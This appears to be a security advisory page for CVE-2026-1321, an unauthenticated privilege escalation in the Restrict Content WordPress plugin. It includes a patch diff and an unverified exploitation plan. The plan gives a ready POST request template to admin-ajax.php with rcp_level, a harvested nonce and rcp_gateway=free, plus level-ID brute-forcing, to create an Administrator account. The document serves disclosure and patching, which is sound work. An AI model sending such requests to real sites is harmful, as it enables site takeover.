CVE-2026-1321

Membership Plugin – Restrict Content <= 3.2.20 - Unauthenticated Privilege Escalation via 'rcp_level'

highMissing Authorization
8.1
CVSS Score
8.1
CVSS Score
high
Severity
3.2.21
Patched in
1d
Time to patch

Description

The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.2.20. This is due to the `rcp_setup_registration_init()` function accepting any membership level ID via the `rcp_level` POST parameter without validating that the level is active or that payment is required. Combined with the `add_user_role()` method which assigns the WordPress role configured on the membership level without status checks, this makes it possible for unauthenticated attackers to register with any membership level, including inactive levels that grant privileged WordPress roles such as Administrator, or paid levels that charge a sign-up fee. The vulnerability was partially patched in version 3.2.18.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.2.20
PublishedMarch 4, 2026
Last updatedMarch 5, 2026
Affected pluginrestrict-content

What Changed in the Fix

Changes introduced in v3.2.21

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1321 - Unauthenticated Privilege Escalation in Restrict Content ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** (up to 3.2.20) contains a privilege escalation vulnerability. The registration process, specifically within `rcp_process_re…

Show full research plan

Exploitation Research Plan: CVE-2026-1321 - Unauthenticated Privilege Escalation in Restrict Content

1. Vulnerability Summary

The Membership Plugin – Restrict Content (up to 3.2.20) contains a privilege escalation vulnerability. The registration process, specifically within rcp_process_registration() (located in core/includes/registration-functions.php), retrieves a membership level ID via the rcp_level POST parameter.

The vulnerability exists because the plugin fails to validate:

  1. Whether the requested membership level is active (publicly available).
  2. Whether the membership level requires payment before granting the associated WordPress role.
  3. Whether the membership level is intended for administrative or restricted use only.

By submitting a registration request with a rcp_level ID corresponding to a privileged membership level (e.g., one that assigns the "Administrator" role), an unauthenticated attacker can create a new account with that role.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (AJAX) or the URL of a page containing the registration shortcode.
  • Action: rcp_process_registration (AJAX action).
  • Vulnerable Parameter: rcp_level (POST).
  • Authentication: None required (Unauthenticated).
  • Preconditions:
    • The site must have a membership level defined that assigns a privileged role (like Administrator).
    • The registration form must be accessible (usually via a shortcode).

3. Code Flow

  1. Entry Point: The user submits the registration form. The request is caught by the rcp_process_registration() function in core/includes/registration-functions.php.
  2. Nonce Check: The function validates the nonce rcp_register_nonce using the action rcp-register-nonce.
  3. Level Retrieval:
    $membership_level = rcp_get_membership_level( rcp_get_registration()->get_membership_level_id() );
    
    rcp_get_registration()->get_membership_level_id() reads $_POST['rcp_level'].
  4. Inadequate Validation:
    if ( ! $membership_level ) { // Only checks if the level exists in DB
        // ... error
    }
    
    The code does not check $membership_level->is_active() or whether it's a paid level being bypassed.
  5. Gateway Bypass:
    If the level is "inactive" or "private" but has a price of 0.00 (or if the attacker forces a gateway like free), the code continues.
  6. Role Assignment (Sink): Later in the registration flow (within rcp_process_registration or called helpers), the plugin creates the WordPress user and calls $user->add_role( $membership_level->get_role() ). Since get_role() returns whatever role is configured for that level ID, the attacker gains that role.

4. Nonce Acquisition Strategy

The registration form requires a nonce with the action rcp-register-nonce.

  1. Identify Shortcode: The plugin uses the [rcp_registration] shortcode (or legacy [register_form]) to render the registration form.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[rcp_registration]'
    
  3. Navigate and Extract:
    • Navigate to the newly created page using browser_navigate.
    • The nonce is typically localized in a global JavaScript object. Based on RCP source patterns, look for rcp_script_options.
    • Browser Eval: browser_eval("rcp_script_options.registration_nonce") or search the HTML source for rcp_register_nonce.

5. Exploitation Strategy

Step 1: Discover Privileged Level ID

We need to find an ID for a membership level that grants the administrator role. In a real-world scenario, attackers might brute-force IDs (1, 2, 3...). In our test environment, we will create one.

Step 2: Submit Registration Request

Send a POST request to admin-ajax.php.

Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: rcp_process_registration
    • rcp_level: [TARGET_LEVEL_ID]
    • rcp_user_login: attacker_admin
    • rcp_user_email: attacker@example.com
    • rcp_user_pass: Password123!
    • rcp_user_pass_confirm: Password123!
    • rcp_register_nonce: [EXTRACTED_NONCE]
    • rcp_gateway: free

6. Test Data Setup

To prove the exploit, we must prepare the environment:

  1. Create a Privileged Membership Level:
    Use PHP via WP-CLI to create a level that is "Inactive" (not shown on forms) but grants "Administrator" privileges.
    wp eval '
    $level = new \RCP\Membership_Level();
    $level->set_name("Hidden Admin Level");
    $level->set_description("Grant Admin Access");
    $level->set_role("administrator");
    $level->set_status("inactive"); // Vulnerability: can still be requested via ID
    $level->set_price(0);
    $level->save();
    echo "ID: " . $level->get_id();
    '
    
    Note: Note the ID returned by this command.
  2. Create Registration Page:
    wp post create --post_type=page --post_status=publish --post_content='[rcp_registration]'
    

7. Expected Results

  • The admin-ajax.php request should return a JSON success message: {"success": true, ...}.
  • A new user attacker_admin should be created in the WordPress database.
  • The user attacker_admin should have the administrator role.

8. Verification Steps

  1. Check User Existence:
    wp user get attacker_admin
    
  2. Verify Role:
    wp user list --login=attacker_admin --field=roles
    
    Expectation: Output should be administrator.

9. Alternative Approaches

  • Manual POST to Page: If admin-ajax.php is restricted, the registration form also processes data when POSTed directly to the page containing the [rcp_registration] shortcode.
  • Direct Page Submission:
    • URL: http://<target>/register-page/
    • Parameters: Same as AJAX, but ensure all standard RCP registration fields are included (First Name, Last Name if required).
  • Paid Level Bypass: If no "Admin" level exists, try registering for a "Gold/Paid" level (rcp_level = [Paid_ID]) using the free gateway to check if it grants the membership without payment.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Restrict Content plugin for WordPress is vulnerable to unauthenticated privilege escalation. The registration process fails to validate the status and payment requirements of membership levels passed via the 'rcp_level' parameter, allowing an attacker to register for any level, including hidden or paid levels that assign the Administrator role.

Vulnerable Code

// core/includes/registration-functions.php

function rcp_process_registration() {

	// ... (nonce check) ...

	$membership_level = rcp_get_membership_level( rcp_get_registration()->get_membership_level_id() );

	// Ensure membership level exists and is valid. 
	// Vulnerability: Only checks existence, not status or payment requirements.
	if ( ! $membership_level ) {
		rcp_errors()->add( 'invalid_level', __( 'The selected membership level is not available.', 'rcp' ), 'register' );

		wp_send_json_error(
			array(
				'success' => false,
				'errors'  => rcp_get_error_messages_html( 'register' ),
				'nonce'   => wp_create_nonce( 'rcp-register-nonce' ),
			)
		);
	}

	// ... (calculation of initial amount) ...

	// Change gateway to "free" if this membership doesn't require payment.
	// Vulnerability: An attacker can influence $initial_amount via parameters to force the 'free' gateway
	if ( empty( $initial_amount ) && ! $auto_renew ) {
		$gateway = 'free';
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.20/core/includes/registration-functions.php	2026-02-11 14:51:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.21/core/includes/registration-functions.php	2026-02-12 17:01:14.000000000 +0000
@@ -97,12 +97,33 @@
 	$user_data = rcp_validate_user_data();
 
 	if ( ! rcp_is_registration() ) {
-		// no membership level was chosen
+		// No membership level was chosen.
 		rcp_errors()->add( 'no_level', __( 'Please choose a membership level', 'rcp' ), 'register' );
 	}
 
+	/**
+	 * Filters whether or not to allow processing a registration to an inactive membership level.
+	 *
+	 * @since 3.5.53
+	 *
+	 * @param bool                       $can_process_registration_to_inactive_levels Whether or not to allow processing a registration to an inactive membership level. Default is true if the registration type is renewal, otherwise false.
+	 * @param RCP\Membership_Level|false $membership_level                            Membership level object.
+	 *
+	 * @return bool
+	 */
+	$can_process_registration_to_inactive_levels = apply_filters(
+		'rcp_can_register_to_inactive_membership_levels',
+		'renewal' === $registration_type,
+		$membership_level,
+	);
+
+	// If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error.
+	if ( ! $can_process_registration_to_inactive_levels && 'active' !== $membership_level->get_status() ) {
+		rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' );
+	}
+
 	if ( $membership_level->is_free() && ! $membership_level->is_lifetime() && $has_trialed ) {
-		// this ensures that users only sign up for a free trial once
+		// This ensures that users only sign up for a free trial once.
 		rcp_errors()->add( 'free_trial_used', __( 'You may only sign up for a free trial once', 'rcp' ), 'register' );
 	}

Exploit Outline

1. Identify a target Membership Level ID that is configured to assign a privileged WordPress role (e.g., Administrator). This can be done by brute-forcing IDs or finding an inactive/internal level. 2. Access any page on the target site containing the registration form (shortcode [rcp_registration]) and extract the registration nonce (rcp-register-nonce) from the HTML source or global JavaScript objects. 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the action `rcp_process_registration`. 4. In the request body, provide the target `rcp_level` ID, a new username/email/password, the extracted nonce, and set the `rcp_gateway` parameter to `free`. 5. Upon successful request, the plugin will create a new WordPress user with the elevated role associated with the membership level, completely bypassing status checks and payment gateways.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.